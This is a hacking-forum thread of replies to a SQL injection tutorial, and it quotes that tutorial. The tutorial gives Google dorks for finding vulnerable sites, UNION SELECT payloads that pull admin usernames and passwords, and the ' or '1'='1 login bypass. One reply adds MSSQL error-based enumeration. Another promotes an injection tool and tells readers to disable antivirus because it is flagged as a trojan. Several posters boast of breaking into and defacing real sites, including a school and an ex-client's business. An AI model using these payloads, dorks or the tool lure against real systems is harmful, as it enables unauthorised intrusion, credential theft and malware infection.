thanks alot :)

LOLz i was just trying it on the same site ahahaha.

dmod - January 31, 2011, 8:23 pm

This is a good reference. Thanks!

fastflashes99 - February 2, 2011, 12:51 am

i enjoy me a good detailed sql injection tutorial after a bowl of cereal

Dalina18 - February 3, 2011, 3:07 am

great job champ :)..:D ...D

Imm?rtal - February 4, 2011, 4:40 am

Nice tut thanks alot for sharing

alekovo - February 5, 2011, 2:00 am

Thank you for the explain, I will subscribe this thread :D

aboycalledanuj - February 5, 2011, 7:46 am

i'm unable to get the admin page to this site <http://pcerkl.ac.in/>

i even dont know is it vulnerable or not. please anyone help in sort out my problem..

qaz22 - February 6, 2011, 2:49 pm

Good job, thanks for the tut.

XRaz0rX - February 6, 2011, 3:34 pm

Nice Tut man gonna give it go now just setting up a vpn quick :P

humblehacker - February 7, 2011, 8:09 pm

Great tutorial dude a great help many thanks :)

lone ranger - February 12, 2011, 7:39 pm

Thanks man much appreciatteeeedddd very

.

macman31 - February 13, 2011, 7:54 am

Nice tutorial, thanks a lot !

jahwillprovide - February 14, 2011, 3:52 pm

This said full SQL so I was hoping it went into advanced methods
Does anyone know how to do a site that doesnt allow commas?

romulusdgr8 - February 14, 2011, 7:41 pm

Are failed sql injection attempts recorded by the sql server?

cayber - February 16, 2011, 11:35 am

Wow man, great tutorial, thanks for sharing... :D

cool_dude - February 17, 2011, 10:11 am

Well how to find out whether a forum has a admin login or not?

joshboii1992 - February 18, 2011, 12:31 pm

Just cant get my head round this ahh i will try again to understand this in a bit

Pm me if you think you could help me with this

Miki989 - February 18, 2011, 2:32 pm

HEY PEOPLES WHAT MEANS DORK ??

(Feb 16, 2011 12:35 PM)cayber Wrote: [\[CITE\]](#) Wow man, great tutorial, thanks for sharing... :D

(Feb 16, 2011 12:35 PM)cayber Wrote: [\[CITE\]](#) Wow man, great tutorial, thanks for sharing... :D
Hahaha, tako je brate !!!

jonvan - February 19, 2011, 12:40 pm

Hey thanks for this great tutorial.
Sincerely jonvan

Vampic - February 20, 2011, 3:53 am

thanks for the tutorial very helpful

lamezz - February 22, 2011, 11:29 pm

Nice and fully detailed tutorial!!

legitmacy - February 24, 2011, 6:51 pm

Nice Tut, i gained abit from it.

abhinav1919 - February 25, 2011, 9:14 am

shit wont work, try using it on this website

<http://www.singaporeartmuseum.sg/exhibitions/details.php?id=3>

hxcfelony - February 26, 2011, 1:43 pm

Does anyone know what website I could try this on, just for educational reasons, I have no desire to get information that is not mine

TMNSquirtle - February 26, 2011, 9:55 pm

So theres no tool for this it's just typing those weird series into a data base until it auth bypasses you?

shomb - March 3, 2011, 12:52 am

thanks but it should have been written in a more cohesive english, as it seems was written by someone in a rush, for example "http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names "

doesnt make any sense,seriously if you wanna make a good thread with some good explanation i suggest to take some time and actually put some effort.

Killi0naire93 - March 3, 2011, 11:24 pm

(Mar 3, 2011 01:52 AM)shomb Wrote: [\[CITE\]](#) thanks but it should have been written in a more cohesive english, as it seems was written by someone in a rush, for example

"http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names "

doesnt make any sense,seriously if you wanna make a good thread with some good explanation i suggest to take some time and actually put some effort.

Chill man. Lets see you make a tutorial that is better than this. Then your point will be valid.

Besides that nice post really helpful.

GhostAKF - March 4, 2011, 11:14 am

Hello everybody

welcome to my tutorail on Total SQL injection tool download link:

<http://www.filesift.com/forms/receive.html?fid=cc8a81544669ea2af112d3f53a25ab1f6412>

Total SQL injection tool is composed of:

-Dorks finder

-injection tool

-admin finder

-Md5 finder

BEFORE USE IT

1_ Disable your anti-virus before run it because it's detect as a trojan but it's not one.

2_ Double click on the setup to install end find website like : <http://mywebsite.com/index.php?id=1> using dorks bellow

trainers.php?id=

article.php?ID=

play_old.php?id=

declaration_more.php?decl_id=

Pageid=

games.php?id=

newsDetail.php?id=

staff_id=

historialeer.php?num=

product-item.php?id=

3_ Copy and past the url in the tool and click inject -let the tool hackes the website for you-

4_ use the admin finder the find the admin control panel

5_ use md5 finder to find the password hashed

6_ enjoy!!

REALTOR - March 12, 2011, 2:54 pm

Quote:part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :

<http://www.xx.com/index.php?catid=1>

there is a list of dork 4 sites lyk this

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

or the best in my view "full credit to qabandi for discovering this"

"inurl:".php?catid=" site:xxx"

I am confuzzled. How do we do the inurl: part? Does it go at the end of the url or something..?

RR16 - March 12, 2011, 6:25 pm

A long, but great tut. Keep it up.

innsett - March 12, 2011, 8:00 pm

Very well written, in plain language.

Nice job of communicating the main points.

?

(Mar 12, 2011 03:54 PM)ThePunishment Wrote: [\[CITE\]](#) I am confuzzled. How do we do the inurl: part? Does it go at the end of the url or something..?

Those are "dorks" he posted. Their used to be put in google to search for site that may be vulnerable.

So like in google you would put "inurl:index.php?catid=" and it would search sites with that in the url.

From there just follow the steps.

bholzer - March 13, 2011, 9:25 am

Pretty good tutorial! Keep stuff like this coming

AnonSpirit - March 15, 2011, 5:52 am

wow cool tut if youd add some pictures woud be nice

Avectius - March 15, 2011, 10:10 am

Amazing Guide! =) Loving it.

xSk0rp - March 16, 2011, 11:58 am

Nice ,I inject a lot of sites with this tutorial!

yea its alex - March 17, 2011, 7:19 pm

explained a lot of stuff to me thank you

nofinishline - March 20, 2011, 11:00 am

cool,
it was great TUT.
thanks mate

Infinity. - March 20, 2011, 12:50 pm

Awesome awesome , bro it was really cool TUT

lukissluki - March 21, 2011, 2:56 am

this is very good

message too short

legendftw - March 21, 2011, 5:16 pm

nice guide thanks very much :)

clarince63 - March 22, 2011, 3:31 am

very nice tut, kudos too short

-Google- - March 22, 2011, 7:41 am

who can pm his msn or skype I need help with this

syN_ - March 22, 2011, 12:48 pm

Thanks for the help on SQL, appreciate you taken the time to help out people like me.

atled - March 23, 2011, 11:38 am

good work
i am going to use this tutorial soon in practices :P
good work
i am going to use this tutorial soon in practices :P

Internet Discovery - March 23, 2011, 3:31 pm

I managed my first SQL injection with this TUT, thanks!

i95swervin - March 25, 2011, 10:29 pm

nice tutorial dan1el,

I'm bookmarking this thanks

D3athly - March 27, 2011, 2:45 am

Impressive tutorial, it helped me understand what SQL-injection actually is, I thought it would be alot more complicated then that ;).

SaTaNiC_nAzI - March 29, 2011, 9:07 am

hey...

I tried putting comma (').. and giving a password... but couldnt succeed.... can anyone help me out???? :((

miltoniuse dog - March 29, 2011, 5:45 pm

will how about this site can you hack it www.aq.com

katokato - March 31, 2011, 8:19 pm

this tutorial fucking sucks.

spelling errors, not capitalized, hard to find actual code to inject, there are little amounts of explanation

Conch - April 2, 2011, 8:02 am

Brilliant tutorial,

but about 3/4 into the tutorial really confused me lol

Guess I better pull out an SQL book.

Thank you :)

R.I.P - April 2, 2011, 9:29 pm

Very good. SQLI Helper is needed to make this awesome though.

rangesh1 - April 4, 2011, 7:55 am

nice tut..informative....)

Mr.Boxxy - April 5, 2011, 4:37 pm

I tried for a website and it gave me a pop up sayinh "Hello my name is hallo." and I was unable to close it....

I am very n00b -_-

ttt - April 5, 2011, 7:32 pm

manually how can i use it ?? it has need google dork..pls help me.. :(

wh1tesn0w - April 6, 2011, 12:06 pm

Nice job mate! Really helpful, helped me hack my very first website. Now I have left my signature "Yours Sincerely, wh1tesn0w" on some sites =).

Kotsouba - April 6, 2011, 2:40 pm

So i logged in a random site admin panel (i can see the admin panel atm) but if i try to do anything(like checking the list of the admins or the member list) i am getting this:

--

ADODB.Field error '800a0bcd'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/admin/07_Extranet_02_MemberList.asp, line 301

--

p.s soz for not using quotes i am posted this using quick reply

xfredishx - April 6, 2011, 3:55 pm

This was unbelievable easy, i didnt even need to goto part 2 . pretty much all the stars were aligned and i gave it a whirl.

Heres the story:

Years ago my ex gf's mom hired me to build her restaurant a website.

I built it, spent hours of my time. Paid for hosting and domain name registration and all that, for like 3 months. Finally when she wasnt satisfied with my monthly fee of 10 dollars a month for maintaining it (me being nice). She just stopped paying me. without even paying me a penny for everything ive already done. We made a deal she would pay me 500 atleast for all my troubles and she never paid a dime.

Going to her website i noticed at the bottom it said copyrights "SBS inc" blah blah "log in or register"

I clicked login and poof, like that ima at www.xx.xx/login.aspx .. automatically i know its the webmasters admin panel, why its at the bottom of the restaurant page i dont know, probably becuz he used some dumb website editor for newbs like bright builder or something.

either way, i just typed user: Admin password: ' or '1'='1

And poof i was in..

Nice tutorial thanks! lol i got some pay back

PS: wondering why i dont show u the page i defaced. well, because im not too excited, i almost feel like it was too easy, being excited about such an easy vulnerability is just not even cool. lol.

on a side not anyone looking for an apprentice for sqli hit me up, im interested in learning its true potential.

GOOD WORK DANIEL!. THANKS!

4me2 - April 7, 2011, 3:20 am

very good tutorial bro , thanks

dingospo.TITO - April 7, 2011, 1:48 pm

I have a problem :\$ got this

Error occurred

We are sorry, but an unexpected error occurred. Please contact the webmaster at this site fleamarket@bmwmoa.org and report the problem, along with the error message printed below. Please include any other information which may be useful to the webmaster.

Invalid MySQL query

The used SELECT statements have a different number of columns

I found 17 tables, but second step is problem :|

Scavok - April 8, 2011, 3:29 pm

Great TuT very very good :)

panama1 - April 8, 2011, 6:33 pm

what exactly happens when you inject a site you become the admin and you can change it or what?
PM me

rplrays - April 9, 2011, 8:17 pm

thanks brooo:)

nice tutorial

humanistische - April 12, 2011, 3:39 am

@Mr.Boxxy Simply use firefox latest version and check "prevent this from dialogues" (or something like that) and press ok. It works then but then its just html page with multiple email ids and phone number so it didnt helped me

ACD - April 13, 2011, 12:32 pm

I can just log in with Admin and 'or'1='1 as pass, but I wan't to edit the site's layout, how do I do that?

TINIHACKER - April 14, 2011, 9:44 am

wtf i just done one of the sql injection on some fucking catholic school website lol and it worked

ACD - April 14, 2011, 11:32 am

(Apr 14, 2011 09:44 AM)TINIHACKER Wrote: [\[CITE\]](#) wtf i just done one of the sql injection on some fucking catholic school website lol and it worked

Lol I've done that one too. Pretty funny. But there's not much you can do as 'Admin' on such .asp site's.

HappyMan - April 15, 2011, 2:12 pm

I havnt been into sql so much but I think that Im going to change that ;)

noobkibblet - April 16, 2011, 2:24 pm

when they said confusing the fuck out of the database

actually you arent confusing the database you are simply asking it to return you results from not known areas of the database from the script www.sample.com/vuln.asp?id=9

the script vuln.asp has a parameter called id that is vulnerable to sql injection because the info taken from the get parameter was never sanitized and allowed to run arbitrary sql queries and most of the time be directly able to run the query without terminating the where clause i see this more in mssql

www.sample.com/vuln.asp?id=9 order by 5-- sp_passwd for column counting

im doing this straight from my head so if any of it is syntactically incorrect i apologize

always try to append sp_password in mssql i do this

1.) first check for the injection using `` minus the grave accents or just something ridiculous like having 1=0--sp_password //note you should utilize post to be a lil safer at least i read that never bothered with it as i use socks 5 and tor

2.)after verifying the existance of this hole and fully terminating the original query and executing my own thus now you have full sql injection

3.)now i take the steps necessary to arm myself with all my knowledge of the hole and how to use it this is key beacuse if not your throwing useless queries that are logged so make sure yyou verify the hole exists

4.)now you use any method you like group by ,having,... to enumerate the columns but my favorite is this

find the amount of columns, count them,than after that you move to actually using error messages

sample.com/vuln.asp?id=9 group by id--sp_password

it will give you the next column name in the query

sample.com/vuln.asp?id=9 group by id,column2,column3,column4,column5--sp_password

this should be correct remember im responding to a post not writing a tutorial and this is 100% out of my head

after this is done you should get a 200 ok after you enumerate them correctly

this is where i have fun beacuse now you know the column amounts names and its easy to guess data type by names but not always you could use null i do this

sample.com/vuln.asp?id=9 union select mssql commands,null,null,null,null--sp_password
anyone that knows this will understand i dont remember these off hand so imm not gonna google just remember i use especially the convert(int(@@version,0,0)) or however it is thrown together i use alot of tricks like this to get odbc error messages they will tell you alot check them out

allot of errors im sorry my mind works to quick to pay attention to spelling i just want to get my point across

Evesy - April 16, 2011, 3:53 pm

I don't get what you do when finding the columns, I added ' to the end of it and an error came up, then what do I do?

chart - April 17, 2011, 1:49 pm

think you for help .. sir
think you for help .. si

--

Haxization - April 17, 2011, 9:46 pm

Thanks!

Was able to get into a truck carrier website.

Don't want to do anything because I don't want to get screwed.

iLee - April 20, 2011, 3:33 pm

Ugh, for the /admin, I try getting to the admin area, but it's either 404 not found, or no permissions to access this page.

dndvi - April 21, 2011, 6:38 am

(Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#) ==
by dan1el a.k.a \$qL_DoCt0r

part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :

www.xx.com/index.php?catid=1

there is a list of dork 4 sites lyk this

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

or the best in my view "full credit to qabandi for discovering this"

"inurl:".php?catid=" site:xxx"

So once you have you'r site

www.xxxx.com/index.php?catid=1

now we add a ' to the end of the url

so the site is

www.xxxx.com/index.php?catid=1'

if there is an error of some sort then it is vulnerable

now we need to find the number of columns in the sql database

so we type

www.xxxx.com/index.php?catid=1 order by 1-- "no error"

www.xxxx.com/index.php?catid=1 order by 2-- "no error"

www.xxxx.com/index.php?catid=1 order by 3-- "no error"

www.xxxx.com/index.php?catid=1 order by 4-- "no error"

www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5

on some databases there is 2 columns and on some 200 it varies

so once we have the column number.

we try the union function

www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names

it might not show all numbers on the screen but the numbers displayed are the ones you can

replace to extract info from the db

so now we need to info about the db

so lets say the numbers 2 and 4 showed up on the screen

so i will use my query on 2

www.xxxx.com/index.php?catid=1 union select

1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--

the db type and version will pop up on the screen

if the db version is 4 or lower then to extract the password you will need these queries

www.xxxx.com/index.php?catid=-1 UNION SELECT

1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from

information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--

this should display the table containing the admin username and password

but if not then you will have to guess the table

so once you have your table "or not"

then type

www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--

where it says admintablename type the table you found with

concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from

information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess

then once u have the right table name you should get the administrator password

then just do the same thing but type username instead of password

sometimes the password is hashed and you need to crack it.

then see if you can get the admin panel if you cant then try the admin panel finder script here

http://www.darkc0de.com/c0de/perl/admin_1.2_.txt

now if the database is version 5 or up

type

www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM

information_schema.tables--

and that will display a list of all the tables

once you have your table name

type the same thing as 4

www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--

then the same with username

but now if it doesnt work far all those things

just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing

just play around with those

but sometimes we also need to use the version() or version@@

so sometimes UNION SELECT version (),password,3,4 FROM admintable--

or UNION SELECT version @@,password,3,4 FROM admintable--

well that about wraps up my sql injection tutorial.

you can contact me on

sidthesloth@windowlive.com

only msn me NO EMAILS I HATE THEM

?

i do try your this part on fsiblog.com/wp-login.php

but cant find any thing can u plx help me actually i m in to change or to dell sites like that

(Feb 9, 2009 10:56 AM)dan1el Wrote: [\[CITE\]](#) oops thanks 4 poiting that out

"i dont normally use the old ' or '1'=1 my friend is the one who said 'or'1'=1 works and with the x as well"

ps 'or'1'=1'oe-- "was made up by my friend

i do apply your totorial on fsiblog.com/wp-login.php

but didnt find any thing can u plzzz help me

redtop33 - April 23, 2011, 8:28 pm

Dont call yourself a hacker.

khan20 - April 24, 2011, 11:11 pm

very nice info bro too helpful

ForeverYoung93 - April 27, 2011, 8:06 pm

Is SQL injection out of date? Because I can't seem to find a Website that gets an error that lets me complete the process. Also does the Web Page have to turn in to a blank page with an error or can it be on the website still but have an error?

But the Dorks I have been using also don't have the .asp at the end.

Here is a few:

inurl:source.php?id=
inurl:dl.php?id=
inurl:service.php?id=
inurl:anime.php?id=
inurl:application.php?id=
inurl:plugin.php?id=
inurl:purchase.php?id=
inurl:report.php?id=
inurl:world.php?id=
inurl:overview.php?id=

hejmor7 - April 29, 2011, 5:06 am

i tried sql injections on a site, when i found the number of columns (there was 15), and typed union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- i didnt see any numbers on the screen`? can u pls help me.

sorry bad English.

WorldsBestGamer - April 29, 2011, 12:39 pm

great job man! I'm gonna try it out

N3me\$!s - April 29, 2011, 11:42 pm

hey thanks for the tute...

very helpfull

Jacklyirl - April 30, 2011, 3:43 am

[SqlException (0x80131904): Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.]

System.Data.ProviderBase.DbConnectionPool.GetConnection(DbConnection owningObject) +578

System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +25

System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +42

System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) +124

System.Web.UI.Control.OnLoad(EventArgs e) +132

System.Web.UI.Control.LoadRecursive() +66

System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) +1645767

System.Data.SqlClient.SqlConnection.Open() +258

SubSonic.SqlDataProvider.CreateConnection(String newConnectionString) in C:\svn\subsonicproject\trunk\SubSonic\DataProviders\SqlDataProvider.cs:222

SubSonicAutomaticConnectionScope..ctor(DataProvider provider) in

C:\svn\subsonicproject\trunk\SubSonic\Sql Tools\Connection.cs:172

SubSonic.SqlDataProvider.GetDataSet(QueryCommand qry) in

C:\svn\subsonicproject\trunk\SubSonic\DataProviders\SqlDataProvider.cs:424

SubSonic.DataService.GetDataSet(QueryCommand cmd) in

C:\svn\subsonicproject\trunk\SubSonic\DataProviders\DataService.cs:523

SubSonic.StoredProcedure.GetDataSet() in

C:\svn\subsonicproject\trunk\SubSonic\ActiveRecord\StoredProcedure.cs:266

_96FM._default.buildEntertainment() in C:\SVN\UTVGroup\96FM\Live\default.aspx.cs:80

_96FM._default.Page_Load(Object sender, EventArgs e) in

C:\SVN\UTVGroup\96FM\Live\default.aspx.cs:24

System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e)

+25

System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +42
System.Web.UI.Control.OnLoad(EventArgs e) +132
System.Web.UI.Control.LoadRecursive() +66
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +2428

This is info i got from a down site could i hack with SQL injection ?

inaudible screaming - April 30, 2011, 10:25 pm

Awsome Tut keep them coming.

khaleesi - May 1, 2011, 2:03 pm

Nice tutorial, thanks. Practicing, and taking small challenges.

RussianFederation - May 1, 2011, 4:31 pm

Basic but well written. Good job.

Threadlocks - May 2, 2011, 5:52 pm

Great tut. Helped me alot :-)

-coded32 - May 4, 2011, 1:26 pm

I got this >> <http://www.totaldubai.com/index.php?catid=9%20union%20select%201-->
But there is no error !

????? - May 4, 2011, 1:59 pm

I did Part 1. How the hell do you do part two? He's very un-detailed.

-coded32 - May 4, 2011, 3:34 pm

Code http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
does not work Invalid Link.

DeM0STheneS - May 5, 2011, 10:46 am

Excellent tutorial, have read it several times. Thank you.

127.O.O.1 - May 14, 2011, 9:48 am

Nice tutorial dude!
Thanks

manumang - May 16, 2011, 3:30 am

<http://www.xxx.net/maps/results.php?id=42union> select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- if i am providing this query to a
websites it not show any columns in the page.... plz help me what i do...

asifali2000 - May 16, 2011, 9:43 am

thats great tutorial wow, keep it more up

c0d33rr0r - May 20, 2011, 10:59 am

nice tut!! :) thanks for sharing it.. cheers!

Nerv - May 21, 2011, 5:15 am

(May 20, 2011 10:59 AM)c0d33rr0r Wrote: [\[CITE\]](#) nice tut!! :) by the way i got the user name and the

pass is c82a3272caf3473eff70ef349c1bfd43 honestly i dont know what is that.. lol can anyone help me thanks in advance..
its a salted md5 hash i think.

hackBoTneT - May 21, 2011, 10:25 pm

I like it, I like it, Come on, Come on.. Sss mmm... LOL..
Good Tutorial.. Same as the Tutorial from Dan1el..

(This is my 200th Post)

Nice Tutorial.. Same as Dan1el's.... Anyway like it...

This is my 200th Post...

Hello dan1el.. Nice tutorial.... Why did u change your name??

hav0c1995 - May 22, 2011, 11:16 am

Nice sharing. Great Tutorial. It helped me a lot. Thanks man!

Motusora - May 23, 2011, 5:53 am

:D

IncognitoxD - May 23, 2011, 11:37 am

Hm what does FUNCTION listedb3_listedb2.45CONCAT_WS does not exist mean? Error appears when i am checking for Server version.

jamesgates1 - May 25, 2011, 12:00 am

my teacher has challenged me to try sql inject my school site (www.plymouthcollege.net) can someone give me some tips and help me through it. (please reply as pm)

Thanks, James.

ediz - May 25, 2011, 9:31 pm

Nice ?? its great tutorial :D

Nerv - May 26, 2011, 12:31 am

(May 21, 2011 10:25 PM)hackBoTneT Wrote: [CITE](#) I like it, I like it, Come on, Come on.. Sss mmm... LOL..

Good Tutorial.. Same as the Tutorial from Dan1el..

(This is my 200th Post)

Nice Tutorial.. Same as Dan1el's.... Anyway like it...

This is my 200th Post...

Hello dan1el.. Nice tutorial.... Why did u change your name??Lol, i didnt like dan1el. Sketch is a good move forwards.

asifali2000 - May 29, 2011, 10:57 am

wow its great tutorial keeep it more up

FcAbooseG - May 31, 2011, 10:26 am

i prefer 'or'=''

wakka to short flocka

JKE - June 2, 2011, 5:17 am

Very nice Tut!

Going to try it now :)

2nd Chance - June 2, 2011, 8:46 am

This is a very nice tutorial, I had to idea that some websites could be hacked into so easily!

Boxing - June 2, 2011, 4:58 pm

great tutorial, at some parts its hard to understand like the list tho

Keredlee - June 3, 2011, 12:31 am

thanks for the tutorial.

couldn't find good websites for part 2...

Chlorine - June 3, 2011, 6:16 am

Now I have access to my father's vulnerable site. 10/10.

R3lentlessly - June 5, 2011, 4:41 am

Lol after hacking a few websites successfully I got caught. This is what they they said

--

Security Warning

An attempted security violation by the following address has been detected.

All information on this attempted security violation has been referred to our Information Security Department for further investigation and prosecutions.

Security Violator: [My IP Address]

--

Luckily I was on my vpn :P

Nerv - June 6, 2011, 12:32 am

(Jun 5, 2011 04:41 AM)SupaFlyHoe Wrote: [\[CITE\]](#) Lol after hacking a few websites successfully I got caught. This is what they they said

--

Security Warning

An attempted security violation by the following address has been detected.

All information on this attempted security violation has been referred to our Information Security Department for further investigation and prosecutions.

Security Violator: [My IP Address]

--

Luckily I was on my vpn :P

Thats probably just an IDS on the website. Nothing serious

Zerogamer - June 6, 2011, 9:21 pm

Awesome stuff dude, but having using it on a powered CLANTOOLZ.COM site

Paranoid - June 7, 2011, 11:13 am

Sketch, if you'd be so kind could you add me to MSN? "Hack@live.de" is my MSN. Thanks in advance,

Crime.

GimpBizket - June 9, 2011, 5:26 pm

Hey,

So i just used your tut to hack a website, and the password I uncovered was hashed.

How do I unhash it?

The hashed password returned by my query was:

b8777f4be1b061e1569cffc420f20f9b:hnWIFPK9Ks2yQB2vekdjyHVIVobhaN5r

Thanks

and great tut BTW :)

Nerv - June 9, 2011, 6:46 pm

(Jun 7, 2011 11:13 AM)Massacre Wrote: [\[CITE\]](#) Sketch, if you'd be so kind could you add me to MSN? "Hack@live.de" is my MSN. Thanks in advance,

Crime.Nah sorry man, I only use it for close friends :/

TheNeutron - June 10, 2011, 12:23 am

Oww yes I like it....Good tuT.

Kadabraa - July 5, 2011, 2:42 pm

Sick tutorial, very thorough and easy to understand

Unscrewed - August 4, 2011, 4:28 am

Nothing shows up.. :(

What do I do now?

[img]<http://img543.imageshack.us/img543/3950/nothingshowsup.png>[/img]

sh0cked - August 13, 2011, 1:24 pm

nice nice nice nice nice nice nice nice tutorial, thank you will consider this

0x15EB113 - August 23, 2011, 11:01 am

thanks for this nice tutorial, great job ;)

mretutitsorp - September 5, 2011, 4:03 pm

First we need 2 find a site, start by opening google.

Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect'

There is a large number of google dork for basic sql injection.

what exactly is "dork"??

NoxiQ - September 19, 2011, 7:49 am

Good tut, Thank you! Trying it out !

NoxiQ - September 21, 2011, 12:32 pm

question i used ADMIN as username and as password and i ghet this,

ADODB.Field error '800a0bcd'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/admin/admin-menu.asp, line 244

who does it mean? :/

p18bhebs - October 3, 2011, 1:47 am

can u try this one please...

www.ranpk.com

chojin1988 - October 3, 2011, 8:13 am

Many thanks, it's a good tuto, any app that automatizes this type of attacks?

zakgucci - October 3, 2011, 4:33 pm

?jquick question ,why doesn't anyone from hf post a vid or a thread of them hackin into more serious websites..like popoluar game sites,forums,online games, or school websites?

?jquick question ,why doesn't anyone from hf post a vid or a thread of them hackin into more serious websites..like popoluar game sites,forums,online games, or school websites?

WattCombat - October 4, 2011, 7:47 pm

Great tut, will try this out! Thanks in advance.

ov3rdo - October 8, 2011, 8:43 am

nice tutorial helped me much! thanks bro!

-SubZero- - November 24, 2011, 6:18 am

looks good for me..nice tutorial
good luck

goldentiger - November 25, 2011, 4:31 am

Nice tutorial, thnx for sharing this..:)

Tik Tak - November 25, 2011, 4:32 am

Basic knowledge but nice thread and it's good for the new people.

I Can Feel - November 25, 2011, 10:11 am

hello... iam newbie here...

i have a doubt... how to find admin login page for desired site..

for ex: my target web site is <http://www.website.com>

in d tutorial u wrote we have to search through google.. but google iz showing lotz of results rather than my desired web..

so.. can we find our target web page(i.e www.website.com) admin's login page...?? if yes ..
how...???

(thank u for basic information about sQL injection...!!) :-))?

Cleaver - November 28, 2011, 12:11 pm

nica post dude///thanks for sharing :D :D :D :D :D :D

Reflexo Corporation - December 5, 2011, 10:19 am

Thanks for this nice tutorial, very good.

?_*s??døw ??s????*_,? - December 5, 2011, 1:11 pm

Nice tutorial, keep it up. Also, to people who want to know more, may check out the link in my signature. :)

ZenLove - December 15, 2011, 8:44 am

Nice detailed tutorial!

too.short();

Abyssus - January 13, 2012, 11:10 am

Best tutorial ever, helped me a lot ,thanks man

hannahroll - January 13, 2012, 11:22 am

THANKS MATE FOR THE DETAILED TUT..SALUDOS

Showtek - January 13, 2012, 2:20 pm

Nice tutorial man. You should add some pictures for the newbies.